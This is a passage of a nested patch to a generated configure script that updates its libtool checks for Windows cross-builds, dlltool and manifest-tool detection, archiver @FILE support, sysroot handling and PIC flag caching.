-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -5070,6 +5150,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -5238,7 +5323,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -5392,6 +5478,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -5405,11 +5506,165 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-
-
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -5425,7 +5680,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -5445,11 +5700,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -5465,7 +5724,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -5484,6 +5743,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -5495,16 +5758,72 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-
-
-
-@@ -5846,8 +6165,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -5883,6 +6202,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -5924,6 +6244,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -5935,7 +6267,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -5961,8 +6293,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -5972,8 +6304,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -6010,6 +6342,19 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-+
-+
-+
-
-
-
-@@ -6027,6 +6372,41 @@ fi
-
-
-
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -6241,6 +6621,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -6807,6 +7304,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -7269,7 +7768,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -7358,7 +7858,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -7656,8 +8156,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -7823,6 +8321,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -7885,7 +8389,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -7942,13 +8446,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -8009,6 +8517,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -8359,7 +8872,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -8458,12 +8972,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
